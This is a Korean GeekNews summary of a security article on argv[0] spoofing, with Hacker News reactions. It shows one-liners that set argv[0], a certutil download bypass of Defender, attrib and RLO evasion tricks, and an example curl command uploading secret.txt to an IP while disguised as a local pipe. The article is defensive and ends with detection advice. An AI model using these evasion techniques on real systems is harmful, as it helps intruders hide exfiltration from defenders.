# 왜 argv[0]을 사용하나요?

> Clean Markdown view of GeekNews topic #16605. Use the original source for factual precision when an external source URL is present.

## Metadata

- GeekNews HTML: [https://news.hada.io/topic?id=16605](https://news.hada.io/topic?id=16605)
- GeekNews Markdown: [https://news.hada.io/topic/16605.md](https://news.hada.io/topic/16605.md)
- Type: GN+
- Author: [neo](https://news.hada.io/@neo)
- Published: 2024-09-04T23:33:22+09:00
- Updated: 2024-09-04T23:33:22+09:00
- Original source: [wietzebeukema.nl](https://www.wietzebeukema.nl/blog/why-bother-with-argv0)
- Points: 9
- Comments: 2

## Summary

`argv[0]`는 과거의 유물로, 현대 소프트웨어 설계 원칙에 어긋나며 보안 문제를 일으킬 수 있습니다. 대부분의 프로그램이 `argv[0]`를 무시하지만, 이는 보안 소프트웨어와 사람을 속이고 텔레메트리를 손상시킬 수 있습니다. 보안 전문가들은 `argv[0]`의 악용을 탐지하고 방어 소프트웨어는 이를 더 잘 처리해야 합니다.

## Topic Body

- 커맨드 라인(명령줄)은 이상함  
- Windows가 특히 이런 문제로 유명하지만, 대부분의 운영 체제가 명령줄을 구현한 방식은 보안 문제를 일으킬 수 있음  
- 이 글은 프로세스의 명령줄 첫 번째 인자인 `argv[0]`가 프로세스의 이름을 나타내도록 예약된 관습의 문제점을 설명함  
  
### `argv[0]`는 과거의 유물임   
  
- 프로그램이 시작될 때 명령줄 인자를 받아 프로그램 내부에서 접근 가능하게 해주며, 실제로 프로그램이 시작될 때 가장 먼저 제공되는 정보 중 하나  
  - 프로그램 실행 흐름을 변경하는 주요 메커니즘임  
- POSIX와 DOS/Win32에서 채택된 `exec` 시스템 호출 패밀리를 살펴보면   
  - `int execv(const char *path, char *const argv[]);`   
  - 이 execv 함수를 호출하려면 실행할 애플리케이션의 전체 경로를 `path`로, 인수가 포함된 벡터를 `argv`로 프로그램에 전달해야 하며, 상태 코드가 포함된 정수를 반환함   
  - 이 사양에 따르면 이 호출의 결과로 프로그램이 성공적으로 실행되면 다음을 통해 대상 프로그램을 호출함 `int main (int argc, char *argv[]);`  
- 모든 C 표준에서 `argc`는 음수가 아니며, `argv[argc]`는 null 포인터이고, `argc`가 0보다 크면 `argv[0]`는 호출된 프로그램의 이름을 나타냄  
- 어떤 이들은 `argv[0]`의 필요성에 의문을 제기할 수 있음  
  - "새 프로세스는 분명히 자신의 이름을 알고 있는데 왜 호출하는 프로세스의 첫 번째 프로세스 인수로 전달해야 할까?"  
  - POSIX 환경에서는 프로그램이 심볼릭 링크를 통해 호출될 수 있어, 새로운 프로세스가 어떤 요청을 받았는지 알 수 있도록 돕는 장치임  
  - 예를 들어, Debian의 `shutdown`과 `reboot`는 동일한 `systemctl` 실행 파일에 링크되어 있으며, 호출된 명령에 따라 다르게 동작함  
- 이것은 의심스러운 설계 결정처럼 보임   
  - "프로그램이 자신의 이름에 따라 다르게 동작해야 할까?"  
  - 현대적 관점에서 보면 소프트웨어의 예측 가능성을 낮추고, 현대적 설계 원칙에 반하는 것으로 보임  
  - 1970-1980년대의 관점에서는 컴퓨터 자원이 부족했기 때문에 중복을 최소화하려는 시도로 보일 수 있음  
  - 하지만 현재는 디스크 공간 문제가 크게 부각되지 않음. 예를 들어, macOS Sonoma에서는 `shutdown`과 `reboot`이 별도의 실행 파일로 존재함  
  - 비슷한 두 프로그램을 하나의 파일로 통합하는 것이 정말 필요한지, 아니면 명령 인자 방식을 사용하는 것이 더 적합한지에 대한 논란이 있음  
- 이 원칙을 받아들인다고 해도 구현 자체도 논란의 여지가 있음   
  - `argv[0]`의 정보가 프로세스 인자의 일부로 제공되어야 하는지 의문임  
  - `argv[0]`에 의존하는 프로그램은 호출한 프로세스가 이를 정확하게 설정하지 않으면 오류가 발생할 수 있음.  
  - 보안 문제에 있어서 `argv[0]`을 잘못된 방식으로 사용하는 프로그램도 있음   
  - 더 나은 접근법은 `argv[0]`을 별도의 `task_struct`나 PEB 기능으로 분리하여 운영 체제가 이 값을 관리하도록 하는 것임  
    - 이는 일관성 있는 추적을 가능하게 하고 조작의 범위를 줄임  
- 이 작업에 가장 근접한 OS는 놀랍게도 윈도우임   
  - Windows는 다른 주류 운영 체제와 달리 새로운 프로세스를 생성할 때 `argv[0]`을 설정하지 않음  
  - Windows의 API 호출(`CreateProcess`, `ShellExecute`)은 `argv[0]`을 실행 파일 경로에 따라 자동으로 설정함  
  - 이 방식이 가장 합리적인 구현임에도 불구하고, Windows에서도 POSIX `exec` 호출을 채택하고 있기 때문에 `argv[0]`을 수동으로 설정할 방법이 존재함  
  
### `argv[0]`는 무시됨 (대부분의 경우)  
  
- `argv[0]`의 중요성에 대한 당신의 입장과 상관없이, 현실적으로 `argv[0]`은 존재하는 개념이며 문제를 동반함  
- `exec` 호출 시 앞서 언급한 세 가지 조건 중 첫 두 가지는 운영 체제가 처리하지만, `argv[0]`과 관련된 마지막 조건은 관리되지 않음  
- `exec` 호출자가 `argv`를 완전히 제어할 수 있으므로, 이 요구사항을 무시할 수 있으며, 운영 체제나 호출/호출된 프로그램 모두 이 위반을 체크하지 않음  
- `argv[0]` 무시의 예  
  - `echo`를 사용해 _Hello, world!_를 출력하려면 일반적으로 `execv("/usr/bin/echo", ["echo", "Hello, world!"])`를 호출함  
  - 하지만 `execv("/usr/bin/echo", ["oopsie", "Hello, world!"])`를 호출해도 `echo` 프로그램이 정상적으로 실행되어 _Hello, world!_가 출력됨  
  - `echo` 프로그램은 `argv[0]`을 무시하고 `argv[1]`부터의 인자에만 집중하는 방식으로 동작함  
  - 대부분의 프로그램이 `argv[0]`을 무시하는 유사한 접근 방식을 취함  
- `argv[0]` 조작의 예  
  - C 언어를 비롯한 여러 프로그래밍 및 스크립팅 언어에서 `argv[0]`을 조작하는 방법이 제공됨:  
  ```bash  
  python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
  perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
  ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
  bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
  ```  
- `argv[0]`을 조작하는 것은 간단하며, 대부분의 프로그램 실행에 영향을 미치지 않음. 그러나 보안상으로는 문제가 있을 수 있음  
  
### `argv[0]`가 방어 체계를 무너뜨릴 수 있음  
  
- `argv[0]`은 보안 소프트웨어를 속이는 데 사용될 수 있음. 악의적인 사용자가 시스템을 손상시키면 공격자의 명령을 실행하여 시스템을 조작함  
- AV 및 EDR과 같은 방어 소프트웨어는 프로세스 실행을 모니터링하고, 특정 명령이 해로운 것으로 판단되면 이를 감지하거나 차단함. 대부분의 솔루션은 공격자가 자주 사용하는 명령을 적극적으로 탐지함  
- 예: `certutil` 명령의 오용  
  - Windows의 기본 내장 명령줄 도구인 `certutil`은 공격에서 자주 사용됨. 초기 접근을 얻은 후 외부 페이로드를 다운로드하는 수단으로 활용됨.  
  - Microsoft Defender Antivirus는 파일 다운로드 시도를 나타내는 명령줄 인자가 있는 경우 `certutil` 실행을 차단함. 하지만, `argv[0]`을 공백으로 설정하여 `certutil`을 시작하면 Defender는 이를 차단하지 않음  
  - 이는 보안 감지가 프로그램 이름을 명령줄의 일부로 간주하기 때문에 발생하는 문제를 보여줌. 예를 들어, 감지 논리가 `command_line.contains('certutil') AND command_line.contains('-urlcache')`와 같이 구성된 경우, `certutil`이 명령줄의 일부라는 가정이 있음. 그러나, `argv[0]`을 조작하여 감지 논리를 우회할 수 있음  
  - 효과적인 감지 논리는 `process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')`처럼 구성하는 것이 좋음  
- `argv[0]`을 통한 감지 우회  
  - 감지 우회는 `argv[0]`에 튜닝 키워드를 추가하여도 가능함. 감지는 일반적으로 기본 조건과 추가 조건을 결합하여 오탐을 필터링함  
  - 예를 들어, `attrib.exe`가 파일을 숨기는 동작을 할 때 감지 규칙이 트리거될 수 있음. 하지만 실제로는 `desktop.ini` 파일에 대해 합법적으로 자주 실행됨  
  - 이를 알고 있는 공격자는 `argv[0]`에 `desktop.ini`를 포함하여 감지를 우회할 수 있음. 예를 들어, `argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']`처럼 설정할 수 있음  
  
### `argv[0]`로 속임수 가능  
  
- `argv[0]`은 보안 소프트웨어뿐만 아니라 **사람** 을 속이는 데에도 악용될 수 있음  
- 보안 분석가는 EDR 소프트웨어와 같은 보안 도구가 생성한 경고를 검토하며, 이 경고에는 관련된 프로세스의 명령줄이 포함됨  
- 프로세스의 명령줄은 분석가가 경고를 추가 조사하거나 무시할지 결정하는 데 중요한 정보임  
- 예: 명령줄 속임수  
  - 데이터 유출 가능성에 대한 경고가 `curl -T secret.txt 123.45.67.89` 명령 실행 시 발생할 수 있음. 이 명령은 파일 `secret.txt`를 IP 주소 123.45.67.89로 업로드함  
  - 동일한 시나리오에서 `argv[0]`을 `curl`에서 `curl localhost | grep`으로 변경한 경우, 이는 여전히 유효한 명령이 됨.  
  - 보안 소프트웨어는 명령줄 배열을 공백으로 구분된 문자열로 표시하므로, 이 경우 명령이 `curl localhost | grep -T secret.txt 123.45.67.89`로 보일 가능성이 큼  
  - 분석가의 시각에서는 `curl localhost`가 실행되고 그 결과가 `grep -T secret.txt 123.45.67.89`로 전달되는 것처럼 보일 수 있음. 이는 실제로는 원격 주소로 정보를 업로드하는 동작임에도 불구하고, 로컬 주소에서 다운로드하는 것처럼 오인하게 만듦  
- Right-To-Left Override (RLO) 문자 활용  
  - 악명 높은 RLO(오른쪽-왼쪽 재정렬) 문자를 사용하여 `argv[0]`을 조작할 수 있음  
  - 이 유니코드 문자는 렌더링 애플리케이션에 이후의 문자를 역순으로 표시하도록 지시함  
  - `argv[0]`에 RLO를 삽입하면 `ping moc.elgoog.some-evil-website.com`을 `ping moc.etisbew-live-emos.google.com`처럼 보이게 할 수 있음  
  - 이 방식은 감지 논리에는 영향을 미치지 않지만, 분석가를 속일 가능성이 있음  
- 이와 같은 기법들은 보안 소프트웨어와 사람의 눈을 속여 악성 활동을 숨기기 위해 `argv[0]`을 조작할 수 있는 다양한 방식을 보여줌  
  
### `argv[0]`이 원격 분석을 손상시킬 수 있음  
  
- `argv[0]`은 명령줄의 맨 **처음**에 위치하기 때문에, `argv[0]`에 충분한 문자를 채워 넣으면 다른 모든 인자를 명령줄 끝으로 밀어낼 수 있음  
- 이는 두 가지 이유로 문제가 될 수 있음: 먼저 흥미로운 부분을 명령줄 끝에 ‘숨겨서’ 분석가가 스크롤하지 않도록 유도할 수 있고, 더 중요한 점은 명령줄의 총 길이를 충분히 길게 만들어 모니터링 소프트웨어가 실제로 중요한 인자를 잘라내게 할 수 있음  
- 명령줄 길이 제한  
  - Windows 7 이후로, Windows에서 명령줄의 최대 길이는 14,336자(약 14 KiB)로 제한됨  
  - Linux 커널에서는 최대 길이가 32 페이지 크기로 하드코딩되어 있으며, 64비트 아키텍처에서 약 131,072자(128 KiB)임  
  - macOS Sonoma는 최대 1,048,576자(1 MiB)의 명령줄을 허용함  
  - 이는 `argv[0]`이 차지할 수 있는 임의 공간이 매우 많음을 의미함  
- 원격 분석 손상 사례  
  - 프로세스 모니터링 소프트웨어(예: EDR)는 긴 명령줄 실행을 전부 기록하거나, 고정된 길이로 잘라내어 오버헤드를 줄일 수 있음  
  - 긴 명령줄이 전부 기록될 경우, 단순히 최대 명령줄 길이를 이용해 1,000개의 프로세스를 시작함으로써 1GiB의 로그 데이터를 생성할 수 있음  
  - 만약 잘라내기가 적용된다면, 명령줄 인자가 원격 분석에서 잘릴 수 있음. 예를 들어, `perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'` 명령은 “Hello, world!”를 출력하지만, 실행의 원격 분석에는 언더스코어들만 기록되거나, 경우에 따라서는 완전히 빈 명령줄이 기록될 수 있음  
  - 따라서 실제 중요한 명령줄 인자가 없으므로, 감지 논리와 분석가는 실제로 무슨 일이 일어나는지 파악하지 못하게 됨  
  
### `argv[0]`의 위험성: 예방과 탐지  
  
- `argv[0]`은 하나의 문제를 해결하려다 여러 다른 문제를 초래함  
- `argv[0]`이 곧 사라질 가능성은 적으므로, 보안 관점에서 이를 다루는 방법에 집중할 필요가 있음  
- 예방 조치  
  - 소프트웨어 개발자는 `argv[0]`이 자신의 파일 이름과 일치하는지 비교하여 조작 여부를 확인할 수 있지만, 이는 확장성이 낮음  
  - 운영 체제가 이 검사를 더 신뢰성 있게 수행할 수 있음. 프로그램의 흐름을 변경하기 위해 `argv[0]`에 의존하는 것은 매우 권장되지 않음  
  - 개발자는 가능한 한 `argv[0]`과 상호작용하지 않는 것이 가장 좋음  
- 보안 전문가를 위한 탐지 방법  
  - `argv[0]`의 작동 방식과 문제점을 인지하는 것이 명령줄 속임수를 방지하는 중요한 단계임  
  - 보안 소프트웨어가 명령줄 인자를 배열로 제공할 경우, 특정 패턴을 신뢰성 있게 식별할 수 있음  
  - 과도하게 긴 `argv[0]` 값이나 파이프 문자와 같은 의심스러운 문자를 포함한 값은 즉시 의심스러운 것으로 플래그를 지정해야 함  
  - 명령줄 인자가 문자열로 제공되는 경우에도 프로그램 이름이 포함되지 않은 명령줄을 플래그 지정할 수 있음. 이는 `argv[0]`이 조작되었음을 시사함  
  - RLO 문자의 존재 자체가 대부분의 환경에서 높은 효율성을 가진 탐지 방법임  
  - 잘린 명령줄 인자의 경우, 보안 솔루션과 데이터 레이크가 이를 어떻게 처리하는지 이해하고, 생성된 원격 분석에 어떤 영향을 미치는지 파악해야 함  
- 방어 소프트웨어의 개선  
  - 방어 소프트웨어는 `argv[0]` 남용에 대한 탐지를 개선해야 함. 의심스러운 `argv[0]` 값으로 소프트웨어 실행을 차단하는 것이 가능해야 하며, 거짓 긍정을 유발하지 않음  
  - EDR 플랫폼은 명령줄 인자를 보고할 때 `argv[0]`을 제외하는 것도 고려해야 함. 이는 이 글에서 강조된 대부분의 문제를 제거하며, 포렌식 가치도 대부분의 경우 낮음  
- 궁극적으로, 아무도 `argv[0]`으로 인해 골칫거리를 겪고 싶어 하지 않음. 우리 소프트웨어도 마찬가지임  
  
### GN⁺의 정리  
  
- `argv[0]`는 과거의 유물로, 현대 소프트웨어 설계 원칙에 어긋남  
- 대부분의 프로그램은 `argv[0]`를 무시하지만, 이는 보안 문제를 일으킬 수 있음  
- `argv[0]`는 보안 소프트웨어와 사람을 속일 수 있으며, 텔레메트리를 손상시킬 수 있음  
- 보안 전문가들은 `argv[0]`의 악용을 탐지하고 방어 소프트웨어는 이를 더 잘 처리해야 함

## Comments



### Comment 28600

- Author: scari
- Created: 2024-09-05T11:34:58+09:00
- Points: 2

제가 오래된 사람이라 그런지.. 글쓴이의 주장에 별로 공감이 안 되네요. 문제는 exec 인데 불똥이 argv[0]로 튀는 느낌입니다.

### Comment 28577

- Author: neo
- Created: 2024-09-04T23:33:23+09:00
- Points: 1

###### [Hacker News 의견](https://news.ycombinator.com/item?id=41434315) 
- argv[0]을 읽는 것에 대한 반대 의견은 저자의 무지나 강력한 방어가 필요함
  - busybox가 OpenWrt 박스에서 16MB 루트 파일 시스템으로 어떻게 작동해야 하는지 궁금함
  - argv[0] 값을 쓰는 것을 제한하는 논의는 고려할 만함
  - 공격자는 여전히 보안 조치를 우회할 수 있음

- argv[0]은 수백 개의 명령어의 심볼릭 링크 대상이 되는 데 사용됨
  - Android는 대부분의 일반적인 쉘 명령어에 대해 이를 사용함
  - Toybox와 busybox가 그 예임

- argv[0]을 사용하는 도구를 통해 컨테이너 내부에서 호스트 명령어를 실행할 수 있음
  - 예: flatpak 명령어를 호스트에서 실행하도록 설정 가능

- 프로그램이 이름에 따라 다르게 동작하는 것은 문제가 없음
  - 프로그램 이름을 호출 인수로 포함하는 것은 매우 유용함

- argv[0]에 대한 반대 의견은 현대 설계 원칙에 어긋난다는 주장임
  - symlink가 있는 경우 프로그램이 어떻게 호출되었는지 아는 것이 합리적임
  - python은 argv[0]을 사용하여 virtualenv 내부인지 확인하고 검색 경로를 조정함

- argv[0]은 보안 관점에서 특별히 나쁘지 않음
  - 보안 소프트웨어가 argv 값을 인용하도록 수정하는 것이 더 나음

- argv[0]은 문제없음
  - 대부분의 사람들은 argv[0]을 사용하여 명령어 버전을 구분함

- busybox는 'shim' 모드에서 argv[0]을 사용함
  - 보안 문제는 SELinux와 같은 더 깊은 보안 메커니즘을 사용하는 것이 더 중요함

- macOS는 여러 명령어가 단일 실행 파일을 가리키도록 설정함
  - argv[0]을 사용하여 CLI 사용성을 개선하고 코드 중복을 줄임

- argv[0]을 제거하면 유용한 기능을 잃게 됨
  - 네트워크 보안은 네트워크에서 처리해야 함
  - argv[0]을 제거해도 공격자는 다른 방법을 찾을 것임
